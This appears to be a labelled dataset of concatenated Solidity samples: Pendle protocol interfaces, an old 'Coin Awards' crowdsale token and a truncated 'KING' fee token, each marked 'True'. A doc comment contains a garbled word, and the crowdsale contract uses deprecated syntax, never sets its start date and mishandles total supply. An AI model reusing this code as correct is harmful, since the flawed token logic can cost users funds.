OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "./IPendleRouter.sol"; interface IPendleMarketFactory { /** * @notice Creates a market given a protocol ID, future yield token, and an ERC20 token. * @param xyt Token address of the futuonlyCorere yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the address of the newly created market. **/ function createMarket(address xyt, address token) external returns (address market); /** * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. **/ function router() external view returns (IPendleRouter); function marketFactoryId() external view returns (bytes32); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IPendleBaseToken.sol"; import "./IPendleForge.sol"; interface IPendleYieldToken is IERC20, IPendleBaseToken { /** * @notice Emitted when burning OT or XYT tokens. * @param user The address performing the burn. * @param amount The amount to be burned. **/ event Burn(address indexed user, uint256 amount); /** * @notice Emitted when minting OT or XYT tokens. * @param user The address performing the mint. * @param amount The amount to be minted. **/ event Mint(address indexed user, uint256 amount); /** * @notice Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. **/ function burn(address user, uint256 amount) external; /** * @notice Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. **/ function mint(address user, uint256 amount) external; /** * @notice Gets the forge address of the PendleForge contract for this yield token. * @return Retuns the forge address. **/ function forge() external view returns (IPendleForge); /** * @notice Returns the address of the underlying asset. * @return Returns the underlying asset address. **/ function underlyingAsset() external view returns (address); /** * @notice Returns the address of the underlying yield token. * @return Returns the underlying yield token address. **/ function underlyingYieldToken() external view returns (address); /** * @notice let the router approve itself to spend OT/XYT/LP from any wallet * @param user user to approve **/ function approveRouter(address user) external; } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; interface IPendlePausingManager { event AddPausingAdmin(address admin); event RemovePausingAdmin(address admin); event PendingForgeEmergencyHandler(address _pendingForgeHandler); event PendingMarketEmergencyHandler(address _pendingMarketHandler); event PendingLiqMiningEmergencyHandler(address _pendingLiqMiningHandler); event ForgeEmergencyHandlerSet(address forgeEmergencyHandler); event MarketEmergencyHandlerSet(address marketEmergencyHandler); event LiqMiningEmergencyHandlerSet(address liqMiningEmergencyHandler); event PausingManagerLocked(); event ForgeHandlerLocked(); event MarketHandlerLocked(); event LiqMiningHandlerLocked(); event SetForgePaused(bytes32 forgeId, bool settingToPaused); event SetForgeAssetPaused(bytes32 forgeId, address underlyingAsset, bool settingToPaused); event SetForgeAssetExpiryPaused( bytes32 forgeId, address underlyingAsset, uint256 expiry, bool settingToPaused ); event SetForgeLocked(bytes32 forgeId); event SetForgeAssetLocked(bytes32 forgeId, address underlyingAsset); event SetForgeAssetExpiryLocked(bytes32 forgeId, address underlyingAsset, uint256 expiry); event SetMarketFactoryPaused(bytes32 marketFactoryId, bool settingToPaused); event SetMarketPaused(bytes32 marketFactoryId, address market, bool settingToPaused); event SetMarketFactoryLocked(bytes32 marketFactoryId); event SetMarketLocked(bytes32 marketFactoryId, address market); event SetLiqMiningPaused(address liqMiningContract, bool settingToPaused); event SetLiqMiningLocked(address liqMiningContract); function forgeEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function marketEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function liqMiningEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function permLocked() external view returns (bool); function permForgeHandlerLocked() external view returns (bool); function permMarketHandlerLocked() external view returns (bool); function permLiqMiningHandlerLocked() external view returns (bool); function isPausingAdmin(address) external view returns (bool); function setPausingAdmin(address admin, bool isAdmin) external; function requestForgeHandlerChange(address _pendingForgeHandler) external; function requestMarketHandlerChange(address _pendingMarketHandler) external; function requestLiqMiningHandlerChange(address _pendingLiqMiningHandler) external; function applyForgeHandlerChange() external; function applyMarketHandlerChange() external; function applyLiqMiningHandlerChange() external; function lockPausingManagerPermanently() external; function lockForgeHandlerPermanently() external; function lockMarketHandlerPermanently() external; function lockLiqMiningHandlerPermanently() external; function setForgePaused(bytes32 forgeId, bool paused) external; function setForgeAssetPaused( bytes32 forgeId, address underlyingAsset, bool paused ) external; function setForgeAssetExpiryPaused( bytes32 forgeId, address underlyingAsset, uint256 expiry, bool paused ) external; function setForgeLocked(bytes32 forgeId) external; function setForgeAssetLocked(bytes32 forgeId, address underlyingAsset) external; function setForgeAssetExpiryLocked( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external; function checkYieldContractStatus( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (bool _paused, bool _locked); function setMarketFactoryPaused(bytes32 marketFactoryId, bool paused) external; function setMarketPaused( bytes32 marketFactoryId, address market, bool paused ) external; function setMarketFactoryLocked(bytes32 marketFactoryId) external; function setMarketLocked(bytes32 marketFactoryId, address market) external; function checkMarketStatus(bytes32 marketFactoryId, address market) external returns (bool _paused, bool _locked); function setLiqMiningPaused(address liqMiningContract, bool settingToPaused) external; function setLiqMiningLocked(address liqMiningContract) external; function checkLiqMiningStatus(address liqMiningContract) external returns (bool _paused, bool _locked); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; pragma abicoder v2; import "./IPendleRouter.sol"; import "./IPendleBaseToken.sol"; import "../libraries/PendleStructs.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleMarket is IERC20 { /** * @notice Emitted when reserves pool has been updated * @param reserve0 The XYT reserves. * @param weight0 The XYT weight * @param reserve1 The generic token reserves. * For the generic Token weight it can be inferred by (2^40) - weight0 **/ event Sync(uint256 reserve0, uint256 weight0, uint256 reserve1); function setUpEmergencyMode(address spender) external; function bootstrap( address user, uint256 initialXytLiquidity, uint256 initialTokenLiquidity ) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp); function addMarketLiquiditySingle( address user, address inToken, uint256 inAmount, uint256 minOutLp ) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp); function addMarketLiquidityDual( address user, uint256 _desiredXytAmount, uint256 _desiredTokenAmount, uint256 _xytMinAmount, uint256 _tokenMinAmount ) external returns (PendingTransfer[2] memory transfers, uint256 lpOut); function removeMarketLiquidityDual( address user, uint256 inLp, uint256 minOutXyt, uint256 minOutToken ) external returns (PendingTransfer[2] memory transfers); function removeMarketLiquiditySingle( address user, address outToken, uint256 exactInLp, uint256 minOutToken ) external returns (PendingTransfer[2] memory transfers); function swapExactIn( address inToken, uint256 inAmount, address outToken, uint256 minOutAmount ) external returns (uint256 outAmount, PendingTransfer[2] memory transfers); function swapExactOut( address inToken, uint256 maxInAmount, address outToken, uint256 outAmount ) external returns (uint256 inAmount, PendingTransfer[2] memory transfers); function redeemLpInterests(address user) external returns (uint256 interests); function getReserves() external view returns ( uint256 xytBalance, uint256 xytWeight, uint256 tokenBalance, uint256 tokenWeight, uint256 currentBlock ); function factoryId() external view returns (bytes32); function token() external view returns (address); function xyt() external view returns (address); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; interface IPendleRewardManager { event UpdateFrequencySet(address[], uint256[]); event SkippingRewardsSet(bool); event DueRewardsSettled( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountOut, address user ); function redeemRewards( address _underlyingAsset, uint256 _expiry, address _user ) external returns (uint256 dueRewards); function updatePendingRewards( address _underlyingAsset, uint256 _expiry, address _user ) external; function updateParamLManual(address _underlyingAsset, uint256 _expiry) external; function setUpdateFrequency( address[] calldata underlyingAssets, uint256[] calldata frequencies ) external; function setSkippingRewards(bool skippingRewards) external; function forgeId() external returns (bytes32); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; interface IPendleYieldContractDeployer { function forgeId() external returns (bytes32); function forgeOwnershipToken( address _underlyingAsset, string memory _name, string memory _symbol, uint8 _decimals, uint256 _expiry ) external returns (address ot); function forgeFutureYieldToken( address _underlyingAsset, string memory _name, string memory _symbol, uint8 _decimals, uint256 _expiry ) external returns (address xyt); function deployYieldTokenHolder(address yieldToken, uint256 expiry) external returns (address yieldTokenHolder); }

True

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pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'coinvey' token contract // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Coinvey is ERC20Interface, Owned, SafeMath { bool public purchasingAllowed = false; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "CAWA"; name = "Coin Awards"; decimals = 18; _totalSupply = 8 * 10 ** 25; balances[msg.sender] = 0.8 * 10 ** 25; // Team Reserve bonusEnds = now + 1 days; // First Day Bonus endDate = now + 2 weeks; // ICO Ending Date } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // purchasingAllowed function enablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = true; } function disablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = false; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // CROWDFUNDING INFORMATION // ------------------------------------------------------------------------ function () public payable { if (!purchasingAllowed) { throw; } require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 25741; } else { tokens = msg.value * 25641; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = 8*10**25; Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** KING KING 5% dev 6% marketing 2% liq */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all 